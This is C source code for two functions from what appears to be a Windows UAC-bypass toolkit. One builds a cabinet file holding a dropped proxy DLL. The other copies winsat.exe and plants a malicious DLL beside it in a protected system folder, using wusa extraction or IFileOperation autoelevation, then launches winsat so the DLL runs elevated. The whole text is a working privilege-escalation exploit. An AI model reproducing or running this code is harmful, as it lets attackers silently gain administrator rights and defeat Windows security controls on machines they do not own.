/* * ucmCreateCabinetForSingleFile * * Purpose: * * Build cabinet for usage in methods where required 1 file. * */ BOOL ucmCreateCabinetForSingleFile( LPWSTR lpSourceDll, PVOID ProxyDll, DWORD ProxyDllSize ) { BOOL cond = FALSE, bResult = FALSE; CABDATA *Cabinet = NULL; LPWSTR lpFileName; WCHAR szMsuFileName[MAX_PATH * 2]; if ((ProxyDll == NULL) || (ProxyDllSize == 0)) { return FALSE; } do { //drop proxy dll if (!supWriteBufferToFile(lpSourceDll, ProxyDll, ProxyDllSize)) { break; } //build cabinet RtlSecureZeroMemory(szMsuFileName, sizeof(szMsuFileName)); _strcpy(szMsuFileName, g_ctx.szTempDirectory); _strcat(szMsuFileName, ELLOCNAK_MSU); Cabinet = cabCreate(szMsuFileName); if (Cabinet == NULL) break; lpFileName = _filename(lpSourceDll); //put file without compression bResult = cabAddFile(Cabinet, lpSourceDll, lpFileName); cabClose(Cabinet); } while (cond); return bResult; }
/* * ucmWinSATMethod * * Purpose: * * Acquire elevation through abusing APPINFO.DLL whitelisting model logic and wusa installer/IFileOperation autoelevation. * Slightly modified target and proxydll can work almost with every autoelevated/whitelisted application. * This method uses advantage of wusa to write to the protected folders, but can be adapted to IFileOperation too. * WinSAT used for demonstration purposes only. * */ BOOL ucmWinSATMethod( LPWSTR lpTargetDll, PVOID ProxyDll, DWORD ProxyDllSize, BOOL UseWusa ) { BOOL bResult = FALSE, cond = FALSE; CABDATA *Cabinet = NULL; WCHAR szSource[MAX_PATH + 1]; WCHAR szDest[MAX_PATH + 1]; WCHAR szBuffer[MAX_PATH + 1]; if ( (ProxyDll == NULL) || (ProxyDllSize == 0) || (lpTargetDll == NULL) ) { return bResult; } if (_strlen_w(lpTargetDll) > 100) { return bResult; } RtlSecureZeroMemory(szSource, sizeof(szSource)); RtlSecureZeroMemory(szDest, sizeof(szDest)); do { if (ExpandEnvironmentStrings(L"%systemroot%\\system32\\winsat.exe", szSource, MAX_PATH) == 0) { break; } if (ExpandEnvironmentStrings(L"%temp%\\winsat.exe", szDest, MAX_PATH) == 0) { break; } // Copy winsat to temp directory if (!CopyFile(szSource, szDest, FALSE)) { break; } //put target dll RtlSecureZeroMemory(szBuffer, sizeof(szBuffer)); _strcpy_w(szBuffer, TEMPDIR); _strcat_w(szBuffer, lpTargetDll); //expand string for proxy dll RtlSecureZeroMemory(szSource, sizeof(szSource)); if (ExpandEnvironmentStrings(szBuffer, szSource, MAX_PATH) == 0) { break; } //write proxy dll to disk if (!supWriteBufferToFile(szSource, ProxyDll, ProxyDllSize)) { OutputDebugString(TEXT("[UCM] Failed to drop dll")); break; } else { OutputDebugStringW(TEXT("[UCM] Dll dropped successfully")); } // // Two options: use wusa installer or IFileOperation // if ( UseWusa ) { //build cabinet RtlSecureZeroMemory(szBuffer, sizeof(szBuffer)); if (ExpandEnvironmentStringsW(T_MSUPACKAGE_NAME, szBuffer, MAX_PATH) == 0) { break; } Cabinet = cabCreate(szBuffer); if (Cabinet) { //expand string for winsat.exe if (ExpandEnvironmentStrings(L"%temp%\\winsat.exe", szDest, MAX_PATH) == 0) { break; } //put proxy dll inside cabinet cabAddFile(Cabinet, szSource, lpTargetDll); //put winsat.exe cabAddFile(Cabinet, szDest, L"winsat.exe"); cabClose(Cabinet); Cabinet = NULL; } else { OutputDebugString(TEXT("[UCM] Error creating cab archive")); break; } //extract package ucmWusaExtractPackage(T_WINSAT_CMDLINE); RtlSecureZeroMemory(szBuffer, sizeof(szBuffer)); if (ExpandEnvironmentStrings(T_WINSAT_TARGET, szBuffer, MAX_PATH) == 0) { break; } bResult = supRunProcess(szBuffer, NULL); } else { //wusa extract banned, switch to IFileOperation. RtlSecureZeroMemory(szBuffer, sizeof(szBuffer)); if (ExpandEnvironmentStringsW(M1W7_TARGETDIR, szBuffer, MAX_PATH) == 0) { break; } bResult = ucmAutoElevateCopyFile(szSource, szBuffer); if (!bResult) { break; } bResult = ucmAutoElevateCopyFile(szDest, szBuffer); if (!bResult) { break; } Sleep(0); //run winsat RtlSecureZeroMemory(szBuffer, sizeof(szBuffer)); if (ExpandEnvironmentStrings(T_WINSAT_TARGET, szBuffer, MAX_PATH) == 0) { break; } bResult = supRunProcess(szBuffer, NULL); //cleanup of the above files must be done by payload code } } while (cond); if (Cabinet) { cabClose(Cabinet); } //remove trash from %temp% if (szDest[0] != 0) { DeleteFileW(szDest); } if (szSource[0] != 0) { DeleteFileW(szSource); } return bResult; }